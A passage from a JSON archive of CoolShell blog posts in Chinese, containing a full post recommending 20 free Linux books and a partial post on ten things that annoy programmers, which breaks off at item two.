src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-6 20本最好的Linux免费书籍.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/screenshot-linuxdevicedrivers.png\"><img alt=\"screenshot-linuxdevicedrivers\" class=\"alignright size-thumbnail wp-image-356\" height=\"150\" src=\"../wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png\" title=\"screenshot-linuxdevicedrivers\" width=\"150\"/></a>前些天Neo推荐了一个网站有《<a class=\"title\" href=\"https://coolshell.cn/articles/336.html\" rel=\"bookmark\">超过100本的linux免费书籍</a>》，这里，我也向大家推荐20本最好的Linux免费书籍，当然，也是英文版的。</p>\n<p><strong>1. Ubuntu Pocket Guide and Reference</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">一本介绍关于Ubuntu 8.04和8.10的使用书。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"padding-left: 30px; width: 45.85%; height: 58px; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.ubuntupocketguide.com/\">www.ubuntupocketguide.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Keir Thomas</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>152</td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-355\"></span></p>\n<p><strong>2. Two Bits</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">一本关于自由软件的历史和文化的书。不当当是软件，同样也有音乐，电影，科学和教育。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://twobits.net/\">twobits.net</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Christopher M. Kelty</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>400</td>\n</tr>\n</tbody>\n</table>\n<p><strong></strong></p>\n<p><strong>3. The Linux Starter Pack</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">一本完整的介绍如何使用Linux的书。可以让你从入门级提高到中级。主要是教你如果操作Linux桌面。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.tuxradar.com/linuxstarterpack\">www.tuxradar.com/linuxstarterpack</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Future Publishing</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>130</td>\n</tr>\n</tbody>\n</table>\n<p><strong>4. The Easiest Linux Guide You’ll Ever Read</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">本书主要面对Windows的用户，本书教你如何使用linux完全一些Windows的事情。本书主要是给用户一个体验以告诉你Linux的强大和迷人。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.suseblog.com/my-book-the-easiest-linux-guide-youll-ever-read-an-introduction-to-linux-for-windows-users\">www.suseblog.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Scott Morris</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>160</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>5. Producing Open Source Software</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">本书主要介绍了开源的软件方面的事情，比如一个开源的项目如何创建，如何组织，如何管理，并介绍了一些开源的文化。这不是一本技术书，这是一本管理或是介绍开源的工程书籍。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://producingoss.com/\">producingoss.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Karl Fogel</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, XML, Single HTML page, Multiple HTML pages</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>192</td>\n</tr>\n</tbody>\n</table>\n<p><strong>6. Introduction to Linux – A Hands on Guide</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">又一本Linux的手册书，涵盖了诸如：文件系统，进程，I/O，VIM，打印，备份，网络和多媒体。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tille.garrels.be/training/tldp/\">tille.garrels.be/training/tldp/</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Machtelt Garrels</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>215</td>\n</tr>\n</tbody>\n</table>\n<p><strong>7. Bash Guide for Beginners</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">一本教你使用Bash编程的书。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tille.garrels.be/training/bash/\">tille.garrels.be/training/bash</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Machtelt Garrels</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>165</td>\n</tr>\n</tbody>\n</table>\n<p><strong>8. After the Software Wars</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">这本书描述了整个计算机软件开发中的好的和不好的东西。其中也暗示了很多今天的东西。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.lulu.com/content/4964815\">www.lulu.com/content/4964815</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Keith Curtis</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>292</td>\n</tr>\n</tbody>\n</table>\n<p><strong>9. The Cathedral &amp; The Bazaar</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">这是一本关于软件工程的方法论，其主要总结了Linux内核，开源项目中带用的软件开发的方法。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.catb.org/~esr/writings/cathedral-bazaar/\">www.catb.org/~esr/writings/cathedral-bazaar/</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Eric S. Raymond</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, XHTML, XML, Postscript</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>260</td>\n</tr>\n</tbody>\n</table>\n<p><strong>10. Free for All: How LINUX and the Free Software Movement Undercut the High-Tech Titans</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">又是一本介绍软件开发中政治方面的书。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://wayner.org/node/5\">wayner.org/node/5</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Peter Wayner</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, Zipped HTML, Palm PDB, HTML, ASCII text, XML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>340</td>\n</tr>\n</tbody>\n</table>\n<p><strong>11. Put Yourself in Command</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">介绍Linux命令的书。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://en.flossmanuals.net/gnulinux\">en.flossmanuals.net/gnulinux</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Free Software Foundation</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, Multi-page HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>136</td>\n</tr>\n</tbody>\n</table>\n<p><strong>12. Getting Started with OpenOffice.org 3.x</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">使用OpenOffice的书。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://documentation.openoffice.org/\">documentation.openoffice.org</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>OOoAuthors group</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF, Multi-page HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>433</td>\n</tr>\n</tbody>\n</table>\n<p><strong>13. Grokking the GIMP</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://gimp-savvy.com/BOOK/\">gimp-savvy.com/BOOK</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Carey Bunks</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>HTML</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>352</td>\n</tr>\n</tbody>\n</table>\n<p><strong>14. The Linux Knowledge Base and Tutorial</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">一个Linux的技术知识库。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://sourceforge.net/projects/linkbat\">sourceforge.net/projects/linkbat</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>James Mohr</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>614</td>\n</tr>\n</tbody>\n</table>\n<p style=\"PADDING-LEFT: 30px;\"> </p>\n<p><strong>15. Advanced Linux Programming</strong></p>\n<p style=\"PADDING-LEFT: 30px;\">用大量的示例介绍了Linux下编程最重要的概念和技术。</p>\n<p style=\"PADDING-LEFT: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.advancedlinuxprogramming.com/\">www.advancedlinuxprogramming.com</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>CodeSourcery LLC</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>Multiple PDFs</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>344</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>16. Linux 101 &amp; 102 Modular Training Notes</strong></p>\n<p style=\"padding-left: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.ledge.co.za/software/lpinotes/\">www.ledge.co.za/software/lpinotes</a></td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Author</td>\n<td>Leading Edge Business Solutions</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"FONT-WEIGHT: bold;\">Pages</td>\n<td>233 (Linux 101), 236 (Linux 102)</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p><strong>17. Linux Device Drivers, Third Edition</strong></p>\n<p style=\"padding-left: 30px;\">介绍Linux内核2.6以上版的内核方面的驱动开发。</p>\n<p style=\"padding-left: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://oreilly.com/catalog/9780596005900/\">oreilly.com/catalog/9780596005900</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Jonathan Corbet, Allesandro Rubini, Greg Kroah-Hartman</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML, DocBook</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>615</td>\n</tr>\n</tbody>\n</table>\n<p><strong>18. LINUX: Rute User’s Tutorial and Exposition</strong></p>\n<p style=\"padding-left: 30px;\">一本技术参考手册，主要面对高级系统管理员。</p>\n<p style=\"padding-left: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://linux.2038bug.com/\">linux.2038bug.com</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Paul Sheer</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>660</td>\n</tr>\n</tbody>\n</table>\n<p><strong>19. Linux Network Administrator’s Guide – 2nd Edition</strong></p>\n<p style=\"padding-left: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://tldp.org/guides.html\">tldp.org/guides.html</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Olaf Kirch, Terry Dawson</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF, HTML</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>489</td>\n</tr>\n</tbody>\n</table>\n<p><strong>20. tuXlabs Cookbook</strong></p>\n<p style=\"padding-left: 30px;\">\n</p><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%; text-align: left;\">\n<tbody>\n<tr>\n<td style=\"font-weight: bold; width: 60px;\">Website</td>\n<td><a href=\"http://www.upfrontsystems.co.za/Members/jean/cookbook/tuXlab01.pdf/view\">www.upfrontsystems.co.za</a></td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Author</td>\n<td>Jean Jordaan, The Shuttleworth Foundation</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Format</td>\n<td>PDF</td>\n</tr>\n<tr>\n<td style=\"font-weight: bold;\">Pages</td>\n<td>153</td>\n</tr>\n</tbody>\n</table>\n<p>文章：<a href=\"http://www.linuxlinks.com/article/20090405061458383/20oftheBestFreeLinuxBooks-Part1.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/355.html\">20本最好的Linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-6 惹恼程序员的十件事.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/anger.gif\"><img alt=\"anger\" class=\"alignright size-thumbnail wp-image-349\" height=\"150\" src=\"../wp-content/uploads/2009/04/anger-150x150.gif\" title=\"anger\" width=\"150\"/></a>程序员应该是一个比较特殊的群体，他们因为长期和电脑打交道所养成的性格和脾气也是比较相近的。当然，既然是人，当然是会有性格的，也是会有脾气的。下面，让我来看看十件能把程序惹毛了的事情。一方面我们可以看看程序员的共性，另一方面我们也可以看看程序员的缺点。无论怎么样，我都希望他们对你的日常工作都是一种帮助。</p>\n<p><strong>第十位 程序注释</strong></p>\n<p>程序注释本来是一些比较好的习惯，当程序员老手带新手的时候，总是会告诉新手，一定要写程序注释。于是，新手们当然会听从老手的吩咐。只不过，他们可能对程序注释有些误解，于是，我们经常在程序中看到一些如下的注释：</p>\n<p style=\"PADDING-LEFT: 30px;\">r = n/2;  <span style=\"color: #008000;\">//r是n的一半</span></p>\n<p style=\"PADDING-LEFT: 30px;\"><span style=\"color: #008000;\">//循环，仅当r- n/r不大于t</span><br/>\nwhile ((r-n/r) &lt;=t){<br/>\n        … …<br/>\n        r = 0.5 * (r-n/r); <span style=\"color: #008000;\">// 设置r变量<br/>\n</span>}</p>\n<p>每当看到这样的注释——只注释是什么，而不注释为什么，相信你一定会被惹火，这是谁写的程序注释啊？不找来骂一顿看来是不会解气了。程序注释应该是告诉别人你的意图和想法，而不是告诉别人程序的语法，这是为了程序的易读性和可维护性，这样的为了注释而注释的注释，分明不是在注释，而是在挑衅，惹毛别人当然毋庸置疑。</p>\n<p><span id=\"more-340\"></span></p>\n<p><strong>第九位 打断</strong></p>\n<p>正当程序沉浸于编程算法的思考，或是灵感突现正在书写程序的时候，但却遭到别人的打断，那是一件非常痛苦的事情，如果被持续打断，那可能会让人一下子就烦躁起来。打断别人的人在这种情况下是非常不礼貌的。被打断的人就像函数调用一下，当其返回时，需要重新恢复断点时的现场，当然，人不是电脑，恢复现场通常是一个很痛苦的过程，极端的情况下可能需要从头开始寻找思绪，然后一点一点地回到断点。</p>\n<p>因此，我看到一些程序员在需要安静不被打扰的时候，要么会选择去一个没人找得到的地方，要么会在自己的桌子上方高挂一个条幅以示众人——“本人正执行内核程序，无法中断，请勿骚扰，谢谢！”，可能正在沉浸于工作的程序被打断是多么大的开销。自然，被打断所惹毛了的人也不在少数了。</p>\n<p> </p>\n<p><strong>第八位  需求变化</strong></p>\n<p>这个事情估计不用多说了。只要是是程序员，面对需求变化的时候可能总是很无奈的。一次两次可能还要吧接受，但也顶不住经常变啊。据说敏捷开发中有一套方法论可以让程序员们享受需求的变化，不知道是真是假。不过，今天让你做一个书桌，没有让你把书桌改成餐桌，后天让你把餐桌改成双人床，大后天让你把床改成小木屋，然后把小木屋再改成高楼大厦。哎，是人都会被惹毛了的。那些人只用30分钟的会议就可以作出任何决定，但后面那几十个程序员需要搭上几百个小时的辛苦工作。如果是我，可能我也需要神兽草泥马帮助解解气了。</p>\n<p>不过，这也正说明了，程序员并不懂得怎么和用户沟通，而用户也不懂得和程序员沟通，如果一个项目没有一个中间人（如：PM）在其中协调的话，那么整个项目可能就是“鸡同鸭讲”，用户和程序员都会被对方所惹毛了。如果要例举几个用户被惹毛的事情，估计程序员的那种一根筋的只从技术实现上思考问题的方法应该也能排进前5名。</p>\n<p> </p>\n<p><strong>第七位  经理不懂技术</strong></p>\n<p>外行领导内行的事例还少吗？领导一句话，无论对不对，都是对的，我们必需照做，那怕是多么愚蠢多么错误的决定，我们也得照做。程序员其实并不怕经理不懂技术，最怕的就是不懂技术的经理装着很懂技术。最可气的是，当你据理力争的挑站领导权威的时候，领导还把你视为异类。哎，想起这样的领导别说是骂人了，打人的冲动都有了。</p>\n<p>其实，经理只不过是一个团队的支持者，他应该帮助团队，为团队排忧解难。而不是对团队发号施令。其实管理真的很简单，如果懂的话，就帮着做，如果不懂的话，就相信下属，放手让下属做。最怕的就是又不懂技术，还不信任下属的经理了。哎，这真是程序员的痛啊。</p>\n<p> </p>\n<p><strong>第六位 用户文档</strong></p>\n<p>用户文档本来不应该那么的令人害怕。这些文档记录了一切和我们所开发的软件有关的一些话题。因为我们并不知道我们所面对的用户的电脑操作基础是什么样的，所以，在写下这样的文档的时候，我们必需假设这个用户什么也不懂。于是，需要用最清楚，最漂亮的语言写下一个最丰富的文档。那怕一个拷贝粘贴的操作，可能我们都要分成五、六步来完成，那怕是一个配置IP地址的操作，我们也要从开始菜单开始一步一步的描述。对于程序员来说，他们在开发过程中几乎天天都在使用自己开发的软件，到最后，可能都有得有点吐了，但还得从最简单的部份写这些文档，当然容易令他们烦燥，让程序员来完成这样的文档可能效果会非常不好。所以，对于这样的用户文档，应该由专门的人来完成和维护。</p>\n<p> </p>\n<p><strong>第五位  没有文档</strong></p>\n<p>正如上一条所说的，程序员本来就不喜欢写文档，而因为技术人员的表达能力和写作能力一般都不是太好，所以，文档写的也很烂。看看开源社会的文档可能就知道了。但是，我们可爱的程序员另一方面最生气的却是因为没有文档。当然，让面说是的用户的文档，这里我们说的是开发方面的文档，比如设计文档，功能规格，维护文档等等。不过，基本上都是一样的。反正，一方面，我们的程序员不喜欢写文档，另一方面，我们的程序又会被抱怨没有文档，文档太少，或者文档看不懂。呵呵。原来在抱怨方面也有递归啊。据说，敏捷开发可以降低程序开发中的文档，据说他们可以把代码写得跟文档和示图似的，不知道是真是假。不过，我听过太多太多的程序员抱怨没文档太少，文档太差了，这个方面要怪还是怪程序员自己。</p>\n<p> </p>\n<p><strong>第四位 部署环境</strong></p>\n<p>虽然，程序员们开发的是软件，但是我们并不知道我们的程序会被部署或安装在什么样的环境下，比如，网络上的不同，RAID上的不同，BIOS上的不同，操作系统的不同（WinXP和Win2003），有没有杀毒软件，和其它程序是否兼容，系统中有流氓软件或病毒等等。当然，只要你的软件出现错误，无论是你的程序的问题，还是环境的问题，反正都是你的问题，你都得全部解决。所以，程序员们并不是简单地在编程，很多时候，还要当好一个不错系统管理员。每当最后确认问题的原因是环境问题的时候，可能程序员都是会心生怨气。</p>\n<p> </p>\n<p><strong>第三位 问题报告</strong></p>\n<p>“我的软件不工作了”，“程序出错了”，每当我们听到这样的问题报告的时候，程序员总是感到很痛苦，因为这样的问题报告等于什么也没有说，但还要程序员去处理这种错误。没有明确的问题描述，没有说明如果重现问题，在感觉上，当然会显得有点被人质问的感觉，甚至，在某些时候还掺杂着看不起，训斥的语气，当然，程序员基本上都是很有个性的，都是软硬不吃的主儿，所以，每当有这样的语气报告问题的时候，他们一般也会把话给顶回去，当然，后面自己然发生一些不愉快的事情。所以，咱们还是需要一个客服部门来帮助我们的程序员和用户做好沟通。</p>\n<p> </p>\n<p><strong>第二位 